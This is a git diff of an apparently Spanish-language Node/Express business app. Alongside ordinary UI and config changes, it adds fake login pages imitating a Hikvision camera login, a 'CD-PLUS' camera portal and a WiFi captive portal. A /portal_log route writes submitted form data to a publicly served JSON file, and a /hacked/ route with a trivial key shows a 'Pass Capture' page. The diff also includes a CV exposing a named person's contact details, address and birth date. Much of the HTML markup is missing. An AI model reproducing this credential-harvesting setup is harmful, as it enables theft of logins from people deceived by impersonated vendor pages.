diff --git a/src/app.js b/src/app.js index 346878d..746eae0 100644 --- a/src/app.js +++ b/src/app.js @@ -86,6 +86,7 @@ app.get('/pruebaJson',function(req,res){ //archivos staticos app.use(express.static(path.join(__dirname, 'public'))); +//app.set('trust proxy', true); //inicia servidor app.listen(app.get('port'),() =>{ diff --git a/src/controladores/controlador_Clientes.js b/src/controladores/controlador_Clientes.js index 84a9654..db96698 100644 --- a/src/controladores/controlador_Clientes.js +++ b/src/controladores/controlador_Clientes.js @@ -156,12 +156,12 @@ controlador.app_pedidos_clientes = (req, res) => { //CONSULTA CLIENTE CLOUD C.I-RUC => ruta:/busquedaSRI var data_url0 = 'http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php'; -var data_url1 = "https://xsystem.ddns.net/app/clientes_cloud.php"; +var data_url1 = "https://siax-system.net/app/clientes_cloud.php"; var data_url2 = "http://sheyla2.dyndns.info/SRI/SRI.php"; var data_url3 = "http://192.168.10.100:8000/test_post"; var arrayUrl = [ "http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php", - "https://xsystem.ddns.net/api/clientes_cloud.php", + "https://siax-system.net/api/clientes_cloud.php", "http://sheyla2.dyndns.info/SRI/SRI.php", "http://192.168.10.100:8000/test_post", "solo testing" diff --git a/src/controladores/controlador_General.js b/src/controladores/controlador_General.js index fe84796..3e4b152 100644 --- a/src/controladores/controlador_General.js +++ b/src/controladores/controlador_General.js @@ -243,7 +243,8 @@ controlador.recibe_pedidos = async (req, res) => { PedUsoPrdct_iva: json.iva, PedUsoPrdct_origen: json.origen }; - ingreso_pedido(req, pedido, json.items); + var id_ped = ingreso_pedido(req, pedido, json.items); + res.json({ id: id_ped, message: "Pedido Ingresado" }); //await console.log(await ingreso_pedido(req,pedido)); //await ingreso_detalle(req, id_ped, json.items); }; @@ -262,10 +263,12 @@ async function ingreso_pedido(req, pedido_data, items) { ingreso_detalle(req, lastInsert, items) //res.json({ sision: "ORDEN INGRESADA" }); //res.redirect('/clientes');//redireciona a la ruta inical de la app + return lastInsert; } }); }); } + async function ingreso_detalle(req, id_ped, data) { //console.log("ID Pedido: "+id_ped); for (var i = 0; i < data.length; i++) { @@ -329,5 +332,30 @@ controlador.recibe_datos = (req, res) => { //res.render('panel_control'); }; +//********** Portal Cautivo ********// +controlador.portal = (req, res) => { + console.log(req.body); + res.render('portal'); +}; +const {saveToFile} = require('../scripts/File_io'); +controlador.portal_log = (req, res) => { + console.log(req.body); + saveToFile(req.body); + res.send(200); +}; + +//query => key: '1234567890', +controlador.pw_hacked = (req, res) => { + var hostname = req.headers.host; + var key = req.query.key; + console.log(req.query); + if(key==='pwd'){ + res.render('ver_pass'); + }else{ + res.render('no_autorizado'); + } + +}; + module.exports = controlador; diff --git a/src/public/Html/BusquedaYoutube.html b/src/public/Html/BusquedaYoutube.html new file mode 100644 index 0000000..9db2ead --- /dev/null +++ b/src/public/Html/BusquedaYoutube.html @@ -0,0 +1,17 @@ + + + + Search + + +
+ +
+
+
+ + + + + + \ No newline at end of file diff --git a/src/public/Html/auth.js b/src/public/Html/auth.js new file mode 100644 index 0000000..e41659d --- /dev/null +++ b/src/public/Html/auth.js @@ -0,0 +1,58 @@ +// The client ID is obtained from the Google API Console +// at https://console.developers.google.com/. +// If you run this code from a server other than http://localhost, +// you need to register your own client ID. +var OAUTH2_CLIENT_ID = '361238658-ipvtecve83v9hmp037el45ebao4guqmm.apps.googleusercontent.com'; +var OAUTH2_SCOPES = [ + 'https://www.googleapis.com/auth/youtube' +]; + +// Upon loading, the Google APIs JS client automatically invokes this callback. +googleApiClientReady = function() { + gapi.auth.init(function() { + window.setTimeout(checkAuth, 1); + }); +} + +// Attempt the immediate OAuth 2.0 client flow as soon as the page loads. +// If the currently logged-in Google Account has previously authorized +// the client specified as the OAUTH2_CLIENT_ID, then the authorization +// succeeds with no user intervention. Otherwise, it fails and the +// user interface that prompts for authorization needs to display. +function checkAuth() { + gapi.auth.authorize({ + client_id: OAUTH2_CLIENT_ID, + scope: OAUTH2_SCOPES, + immediate: true + }, handleAuthResult); +} + +// Handle the result of a gapi.auth.authorize() call. +function handleAuthResult(authResult) { + if (authResult && !authResult.error) { + // Authorization was successful. Hide authorization prompts and show + // content that should be visible after authorization succeeds. + $('.pre-auth').hide(); + $('.post-auth').show(); + loadAPIClientInterfaces(); + } else { + // Make the #login-link clickable. Attempt a non-immediate OAuth 2.0 + // client flow. The current function is called when that flow completes. + $('#login-link').click(function() { + gapi.auth.authorize({ + client_id: OAUTH2_CLIENT_ID, + scope: OAUTH2_SCOPES, + immediate: false + }, handleAuthResult); + }); + } +} + +// Load the client interfaces for the YouTube Analytics and Data APIs, which +// are required to use the Google APIs JS client. More info is available at +// https://developers.google.com/api-client-library/javascript/dev/dev_jscript#loading-the-client-library-and-the-api +function loadAPIClientInterfaces() { + gapi.client.load('youtube', 'v3', function() { + handleAPILoaded(); + }); +} \ No newline at end of file diff --git a/src/public/Html/contenedor.css b/src/public/Html/contenedor.css new file mode 100644 index 0000000..d8cf2e4 --- /dev/null +++ b/src/public/Html/contenedor.css @@ -0,0 +1,11 @@ +.pantalla{ + margin: 0; + padding: 0; + height: 90%; + + box-sizing: border-box; +} + +.cubo{ + position: relative; +} \ No newline at end of file diff --git a/src/public/Html/control.js b/src/public/Html/control.js new file mode 100644 index 0000000..d06c6c6 --- /dev/null +++ b/src/public/Html/control.js @@ -0,0 +1,4 @@ +var listaRep = ['https://www.youtube.com/watch?v=wDk99yR4r8U&ab_channel=HombresG-Topic','']; +function controlYt(){ + var rep = document.getElementById('ytplayer'); +} \ No newline at end of file diff --git a/src/public/Html/cv.html b/src/public/Html/cv.html new file mode 100644 index 0000000..bdf566f --- /dev/null +++ b/src/public/Html/cv.html @@ -0,0 +1,5524 @@ + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Mostrar nombre en
+
+
+
+
+
+
+

+

+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+ \ No newline at end of file diff --git a/src/public/Html/cv2.html b/src/public/Html/cv2.html new file mode 100644 index 0000000..6a3615c --- /dev/null +++ b/src/public/Html/cv2.html @@ -0,0 +1,422 @@ + + + + + + + +
+ + + + + + + + + + + Pablo + Farias + DEV + Sistemas + y + Networking + + pablinux + @ + hotmail + . + es + + + + 593991054931 + + Calle + 3 + de + Agosto + y + Edmundo + Andrade + , + 212223 + Santo + Domingo + Formación + Ingeneria + en + Sistemas + y + Networking + Universidad + Tecnologica + America + , + QUITO + Desarrollo + de + Sistemas + + + Experiencia + Sistema + Inteligente + de + Gestion + Modular + Administrativo + feb + 2020 + - + presente + Telcotronics + , + Santo + Domingo + + + Cursos + Alfa + + go + presente + AWS + Google + + Cloud + Open + + IA + + + Logros + https + : + //sigmac + . + app + https + : + //telcotronics + . + com + https + : + //zonafranka + . + ec + https + : + //domus + - + fa + . + com + Desarrollo + de + Sistema + + + Prácticas + Desarrollador + presente + Telcotronics + , + Santo + Domingo + + + + + Datos + personales + Fecha + de + nacimiento + 18 + de + marzo + de + 1984 + Lugar + de + nacimiento + El + + Carmen + - + + Manabi + - + Ecuador + Género + Hombre + Nacionalidad + Ecuatoriano + Estado + civil + Casado + Sitio + web + sigmac + . + app + + + Competencias + Desarrollo + en + JAVA + + Desarrollo + WEB + Fronent + ( + JS + , + CSS + , + HTML + ) + + + Desarrollo + de + Sistemas + IA + ( + Phyton + ) + + + Desarrollo + BackEnd + ( + NodeJS + , + Java + , + Spring + , + Php + , + C + + + ) + + Manejo + de + Servidores + ( + Linux + ) + + Desarrollo + de + Apps + ( + C# + , + JAVA + , + React + ) + + + + + +
+ \ No newline at end of file diff --git a/src/public/Html/formulario_creacionWebs.html b/src/public/Html/formulario_creacionWebs.html new file mode 100644 index 0000000..e045763 --- /dev/null +++ b/src/public/Html/formulario_creacionWebs.html @@ -0,0 +1,494 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/public/Html/menu.css b/src/public/Html/menu.css new file mode 100644 index 0000000..b6021c8 --- /dev/null +++ b/src/public/Html/menu.css @@ -0,0 +1,130 @@ +@import url('http://fonts.googleapis.com/css?family=Poppins:100,200,300,400,500,600,700,800,900'); +* +{ + margin: 0; + padding: 0; + box-sizing: border-box; + font-family:'Poppins',sans-serif; +} +:root{ + --clr:#222327; + --clr0:#050505; +} +body{ + display: flex; + justify-content: center; + align-items: center; + min-height: 100vh; + /*background: var(--clr);*/ +} +.container{ + display: flex; + justify-content:center; + align-items: center; + width: 420px; + height:600px; + background: var(--clr) +} +.navigation{ + width: 400px; + height:70px; + background: #fff; + border-radius: 10px; + /*position: relative;*/ + +} +.navigation ul{ + display: flex; + width: 350px; +} +.navigation ul li{ + position: relative; + list-style: none; + width: 70px; + height:70px; + z-index: 1; +} +.navigation ul li a{ + position: relative; + display: flex; + justify-content: center; + align-items: center; + flex-direction: column; + width:100%; + text-align: center; + font-weight: 500; +} +.navigation ul li a .icon{ + position: relative; + display: block; + line-height: 75px; + font-size: 1.5em; + text-align: center; + transition: 0.5s; + color: var(--clr); +} +.navigation ul li.active a .icon{ + transform: translateY(-35px); +} +.navigation ul li a .text{ + position: absolute; + color: var(--clr); + font-weight: 400; + font-size: 0.75em; + letter-spacing: 0.05em; + transition: 0.5s; + opacity: 0; + transform: translateY(20px); +} +.navigation ul li.active a .text{ + opacity: 1; + transform: translateY(10px); +} +.indicator{ + position: absolute; + top: 42.5%; + width: 70px; + height: 70px; + background: #29fd53; + border-radius: 50%; + border: 6px solid var(--clr); + transition: 0.5s; +} +.indicator::before{ + content: ''; + position: absolute; + top: 50%; + width: 22px; + height: 22px; + left: -22px; + /*background: #f00;*/ + border-top-right-radius: 20px; + box-shadow: 0px -10px 0 0 var(--clr); +} +.indicator::after{ + content: ''; + position: absolute; + top: 50%; + width: 22px; + height: 22px; + right: -22px; + /*background: #f00;*/ + border-top-left-radius: 20px; + box-shadow: 0px -10px 0 0 var(--clr); +} + +.navigation ul li:nth-child(1).active ~ .indicator{ + transform: translateX(calc(70px*0)); +} +.navigation ul li:nth-child(2).active ~ .indicator{ + transform: translateX(calc(70px*1)); +} +.navigation ul li:nth-child(3).active ~ .indicator{ + transform: translateX(calc(70px*2)); +} +.navigation ul li:nth-child(4).active ~ .indicator{ + transform: translateX(calc(70px*3)); +} +.navigation ul li:nth-child(5).active ~ .indicator{ + transform: translateX(calc(70px*4)); +} \ No newline at end of file diff --git a/src/public/Html/menu.html b/src/public/Html/menu.html new file mode 100644 index 0000000..12f8fe5 --- /dev/null +++ b/src/public/Html/menu.html @@ -0,0 +1,78 @@ + + + + + + + + + +
+
+
+ + + + +
+
+ +
+ + + + + diff --git a/src/public/Html/obtenerPosicionGmaps.html b/src/public/Html/obtenerPosicionGmaps.html new file mode 100644 index 0000000..5016ef8 --- /dev/null +++ b/src/public/Html/obtenerPosicionGmaps.html @@ -0,0 +1,42 @@ + + + + + + + Document + + + + + + + + + + + +
+
+ + + + + + \ No newline at end of file diff --git a/src/public/Html/panel_chart_sigma.html b/src/public/Html/panel_chart_sigma.html new file mode 100644 index 0000000..591067a --- /dev/null +++ b/src/public/Html/panel_chart_sigma.html @@ -0,0 +1,43 @@ + + + + + + + + +

Metas de Produccion

+
+ + + \ No newline at end of file diff --git a/src/public/Html/pruebaControl.html b/src/public/Html/pruebaControl.html new file mode 100644 index 0000000..0bc3a3b --- /dev/null +++ b/src/public/Html/pruebaControl.html @@ -0,0 +1,55 @@ + + + + + + + Document + + + + +
+
+ ....................... +
+ +
+ + + + + \ No newline at end of file diff --git a/src/public/Html/rep.html b/src/public/Html/rep.html new file mode 100644 index 0000000..b226c00 --- /dev/null +++ b/src/public/Html/rep.html @@ -0,0 +1,217 @@ + + + + +parlante + + + + +
+ + +
+ +
+
+
+ + +
+
+ + +
+ +
+ + + +
+ + + + + + + + diff --git a/src/public/Html/reproductor.html b/src/public/Html/reproductor.html new file mode 100644 index 0000000..ddcfde9 --- /dev/null +++ b/src/public/Html/reproductor.html @@ -0,0 +1,15 @@ + + + + + + +
+
+ + + + \ No newline at end of file diff --git a/src/public/Html/search.js b/src/public/Html/search.js new file mode 100644 index 0000000..4ab8c67 --- /dev/null +++ b/src/public/Html/search.js @@ -0,0 +1,18 @@ +// After the API loads, call a function to enable the search box. +function handleAPILoaded() { + $('#search-button').attr('disabled', false); +} + +// Search for a specified string. +function search() { + var q = $('#query').val(); + var request = gapi.client.youtube.search.list({ + q: q, + part: 'snippet' + }); + + request.execute(function(response) { + var str = JSON.stringify(response.result); + $('#search-container').html('
' + str + '
'); + }); +} \ No newline at end of file diff --git a/src/public/Html/test_boostrap.html b/src/public/Html/test_boostrap.html new file mode 100644 index 0000000..19521fc --- /dev/null +++ b/src/public/Html/test_boostrap.html @@ -0,0 +1,17 @@ + + + + + + + Document + + + + + + + + + + \ No newline at end of file diff --git a/src/public/Html/youtube.html b/src/public/Html/youtube.html new file mode 100644 index 0000000..781a935 --- /dev/null +++ b/src/public/Html/youtube.html @@ -0,0 +1,124 @@ + + + + + + + Document + + + + + +
+ + + +
+
+
+ + + + + +
+ Play + Pause + + + + + + \ No newline at end of file diff --git a/src/public/css/telcotronics.css b/src/public/css/telcotronics.css new file mode 100644 index 0000000..c761237 --- /dev/null +++ b/src/public/css/telcotronics.css @@ -0,0 +1,207 @@ +/* General Reset */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + font-family: 'Roboto', sans-serif; + line-height: 1.6; + color: #333; + background-color: #f9f9f9; +} + +.container { + width: 90%; + max-width: 1200px; + margin: 0 auto; +} + +/* Header */ +.header { + background: #004080; + color: #fff; + padding: 1rem 0; +} + +.header .logo { + font-size: 1.5rem; + font-weight: bold; +} + +.header .navigation ul { + display: flex; + justify-content: space-around; + list-style: none; +} + +.header .navigation ul li a { + color: #fff; + text-decoration: none; + padding: 0.5rem 1rem; + transition: background-color 0.3s; +} + +.header .navigation ul li a:hover { + background: #0066cc; + border-radius: 5px; +} + +/* Hero Section */ +.hero { + background: linear-gradient(to right, #004080, #0066cc); + color: #fff; + text-align: center; + padding: 4rem 2rem; +} + +.hero h1 { + font-size: 2.5rem; + margin-bottom: 1rem; +} + +.hero p { + font-size: 1.2rem; + margin-bottom: 2rem; +} + +.hero .btn-primary { + background: #ffaa00; + color: #fff; + padding: 0.75rem 1.5rem; + text-decoration: none; + border-radius: 5px; + transition: background-color 0.3s; +} + +.hero .btn-primary:hover { + background: #cc8800; +} + +/* Carousel Section */ +.carousel { + position: relative; + overflow: hidden; + width: 100%; + margin: 2rem 0; +} + +.carousel img { + width: 100%; + display: block; + border-radius: 5px; +} + +.carousel-inner { + display: flex; + transition: transform 0.5s ease-in-out; +} + +.carousel-buttons { + position: absolute; + top: 50%; + width: 100%; + display: flex; + justify-content: space-between; + transform: translateY(-50%); +} + +.carousel-buttons button { + background: rgba(0, 0, 0, 0.5); + color: #fff; + border: none; + padding: 0.5rem 1rem; + cursor: pointer; + transition: background 0.3s; +} + +.carousel-buttons button:hover { + background: rgba(0, 0, 0, 0.8); +} + +/* Services Section */ +.services { + padding: 3rem 0; + background: #fff; +} + +.services h2 { + text-align: center; + margin-bottom: 2rem; + font-size: 2rem; +} + +.service-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 1.5rem; +} + +.service-item { + background: #f1f1f1; + padding: 1.5rem; + text-align: center; + border-radius: 5px; + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); + transition: transform 0.3s; +} + +.service-item:hover { + transform: scale(1.05); +} + +.service-item h3 { + margin-bottom: 0.5rem; +} + +/* Products Section */ +.products { + padding: 3rem 0; + background: #eef5ff; +} + +.products h2 { + text-align: center; + margin-bottom: 2rem; + font-size: 2rem; +} + +.product-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 1.5rem; +} + +.product-item { + text-align: center; +} + +.product-item img { + width: 100%; + max-width: 200px; + margin-bottom: 1rem; + border-radius: 5px; +} + +.product-item h3 { + font-size: 1.2rem; + color: #004080; +} + +/* Footer */ +.footer { + background: #004080; + color: #fff; + padding: 1rem 0; + text-align: center; +} + +.footer a { + color: #ffaa00; + text-decoration: none; +} + +.footer a:hover { + text-decoration: underline; +} diff --git a/src/public/img/portal/favicon.ico b/src/public/img/portal/favicon.ico new file mode 100644 index 0000000..70ba8dc Binary files /dev/null and b/src/public/img/portal/favicon.ico differ diff --git a/src/public/img/portal/login.jpg b/src/public/img/portal/login.jpg new file mode 100644 index 0000000..672d684 Binary files /dev/null and b/src/public/img/portal/login.jpg differ diff --git a/src/public/img/portal/logo.png b/src/public/img/portal/logo.png new file mode 100644 index 0000000..46ba39c Binary files /dev/null and b/src/public/img/portal/logo.png differ diff --git a/src/public/plantilla_html/portal_cautivo.html b/src/public/plantilla_html/portal_cautivo.html new file mode 100644 index 0000000..6247caf --- /dev/null +++ b/src/public/plantilla_html/portal_cautivo.html @@ -0,0 +1,202 @@ + + + + + + Portal WiFi - Tema Oscuro + + + +
+

Bienvenido al Portal WiFi

+

Conéctate a nuestra red para disfrutar del servicio.

+ + + + + +
+ + + +
+ + +
+ + + + diff --git a/src/public/plantilla_html/portal_hikvision.html b/src/public/plantilla_html/portal_hikvision.html new file mode 100644 index 0000000..0d3fb9a --- /dev/null +++ b/src/public/plantilla_html/portal_hikvision.html @@ -0,0 +1,203 @@ + + + + + + Login + + + + +
+ + +
+ +
+
+ + +

Iniciar Sesión

+
+
+ + +
+
+ + +
+ +
+ ¿Olvidó la contraseña? +
+
+ + + + diff --git a/src/public/plantilla_html/telcotronics.html b/src/public/plantilla_html/telcotronics.html new file mode 100644 index 0000000..ca60a19 --- /dev/null +++ b/src/public/plantilla_html/telcotronics.html @@ -0,0 +1,136 @@ + + + + + + + + Telcotronics + + + + + + +
+
+ + +
+
+ +
+
+

Soluciones Tecnológicas a tu Alcance

+

Innovación en telecomunicaciones, domótica y más para hacer tu vida más sencilla y eficiente.

+ Descubre Más +
+ +
+ + + + +
+
+

Nuestros Servicios

+
+
+

Facturación Electrónica

+

Implementación de sistemas avanzados para la gestión de tu negocio.

+
+
+

Cámaras de Seguridad

+

Soluciones de video vigilancia con tecnología de punta.

+
+
+

Domótica Inteligente

+

Automatización de espacios para mayor comodidad y seguridad.

+
+
+

Redes y Telecomunicaciones

+

Diseño e instalación de redes empresariales y domésticas.

+
+
+
+
+ +
+
+

Productos Destacados

+
+
+ Panel Solar +

Paneles Solares

+
+
+ Cámara de Seguridad +

Cámaras IP

+
+
+ Switch de Redes +

Switch de Redes

+
+
+
+
+ + + + + + \ No newline at end of file diff --git a/src/rutas/rt_Generales.js b/src/rutas/rt_Generales.js index 5f938a2..07365c9 100644 --- a/src/rutas/rt_Generales.js +++ b/src/rutas/rt_Generales.js @@ -37,4 +37,12 @@ rutas.post('/operaciones/', controlador_init.recibe_datos);//testing json reccep rutas.get('/app-tv/', controlador_init.app_tv);//app de tv y video json rutas.get('/tv-online/', controlador_init.app_tv);//app de tv y video json +rutas.get('/portal/', controlador_init.portal);//app portal cautivo +rutas.post('/portal_log/', controlador_init.portal_log);//recibir informacion + + +rutas.get('/cdplus/', controlador_init.portal);//app portal cautivo +rutas.get('/hacked/', controlador_init.pw_hacked);//app portal cautivo + + module.exports = rutas; diff --git a/src/scripts/File_io.js b/src/scripts/File_io.js new file mode 100644 index 0000000..e1a7ed3 --- /dev/null +++ b/src/scripts/File_io.js @@ -0,0 +1,49 @@ +const fs = require('fs').promises; +const path = require('path'); +const { hostname } = require('os'); +async function saveToFile(newData) { + try { + // Obtener la ruta absoluta para evitar problemas con rutas relativas + const filePath = path.resolve(__dirname, '../public/files/data.json'); + const dir = path.dirname(filePath); + + // Asegurarse de que el directorio existe + try { + await fs.mkdir(dir, { recursive: true }); + } catch (err) { + console.error('Error al crear el directorio:', err); + return; + } + + // Leer el archivo existente si ya está creado + let fileData = []; + try { + const data = await fs.readFile(filePath, 'utf8'); + fileData = JSON.parse(data); + } catch (err) { + // Si el archivo no existe o está vacío, iniciamos con un array vacío + if (err.code !== 'ENOENT') { + throw err; // Si es otro tipo de error, lo lanzamos + } + } + + // Si el archivo existe pero no es un array, convertirlo en uno + if (!Array.isArray(fileData)) { + fileData = [fileData]; + } + + // Agregar el nuevo objeto + fileData.push(newData); + + // Convertir a JSON + const jsonData = JSON.stringify(fileData, null, 2); + + // Guardar el archivo con el nuevo array actualizado + await fs.writeFile(filePath, jsonData); + console.log('Archivo actualizado correctamente.'); + } catch (err) { + console.error('Error al escribir el archivo:', err); + } +} + +module.exports = { saveToFile }; \ No newline at end of file diff --git a/src/scripts/portal_cautivo.js b/src/scripts/portal_cautivo.js new file mode 100644 index 0000000..e69de29 diff --git a/src/scripts/tokens.js b/src/scripts/tokens.js new file mode 100644 index 0000000..110ee36 --- /dev/null +++ b/src/scripts/tokens.js @@ -0,0 +1,8 @@ +const controlador = {}; +const axios = require('axios').default; +const jwt = require('jsonwebtoken'); +const config = require('../config'); +const { base64encode, base64decode } = require('nodejs-base64'); +const { v4: uuidv4 } = require('uuid'); + +module.exports = controlador; diff --git a/src/swager_config.js b/src/swager_config.js index d6a845e..eac3f81 100644 --- a/src/swager_config.js +++ b/src/swager_config.js @@ -1,33 +1,23 @@ //Generando Documentacion -//const swaggerUi = require('swagger-ui-express'); -//const swaggerDocument = require('./swagger.json'); global.config = require('./config.js'); var puerto = global.config.server.port; -//const swaggerUi = require('swagger-ui-express'); -//Documentacion API + +// Documentación API const swaggerJsdoc = require('swagger-jsdoc'); const options = { - //explore: true, definition: { - openapi: '3.1.0', - swagger:"2.0", + swagger: '2.0', // Usando Swagger 2.0 info: { title: 'APP-SIGMA-WEB', version: '1.0.0', + description: 'Documentación de la API para la aplicación APP-SIGMA-WEB', }, - servers:[ - { - url: 'http://localhost:'+puerto, - description: 'Development server', - }, - { - url: 'http://app.factura-e.net', - description: 'Productions server', - }, - - ] + host: 'localhost:' + puerto, + basePath: '/', + schemes: ['http'], }, - apis: [`${__dirname, '/rutas/*.js'}`], // files containing annotations as above + apis: [`${__dirname}/rutas/*.js`], }; + const swagger_config = swaggerJsdoc(options); module.exports = { swagger_config }; \ No newline at end of file diff --git a/src/views/app_pedidos.ejs b/src/views/app_pedidos.ejs index c9dff51..1b7691b 100644 --- a/src/views/app_pedidos.ejs +++ b/src/views/app_pedidos.ejs @@ -22,10 +22,11 @@ - - + + + - + @@ -224,6 +225,7 @@
+
@@ -248,8 +250,8 @@ - - + + diff --git a/src/views/login.ejs b/src/views/login.ejs index 532cced..ffedee8 100644 --- a/src/views/login.ejs +++ b/src/views/login.ejs @@ -1,5 +1,5 @@ - + diff --git a/src/views/no_autorizado.ejs b/src/views/no_autorizado.ejs new file mode 100644 index 0000000..b010efe --- /dev/null +++ b/src/views/no_autorizado.ejs @@ -0,0 +1,84 @@ + + + + + + No Autorizado + + + +
+
+

403

+

Acceso No Autorizado

+

No tienes permiso para acceder a esta página.

+ Volver al Inicio +
+
+ + diff --git a/src/views/portal.ejs b/src/views/portal.ejs new file mode 100644 index 0000000..a6395b9 --- /dev/null +++ b/src/views/portal.ejs @@ -0,0 +1,204 @@ + + + + + + Login Camaras CD-PLUS + + + + + +
+ + +
+ +
+
+ + +

Iniciar Sesión

+
+
+ + +
+
+ + +
+ +
+ ¿Olvidó la contraseña? +
+
+ + + + diff --git a/src/views/ver_pass.ejs b/src/views/ver_pass.ejs new file mode 100644 index 0000000..3034f54 --- /dev/null +++ b/src/views/ver_pass.ejs @@ -0,0 +1,118 @@ + + + + + + Mostrar Data + + + + +

Pass Capture

+

+
+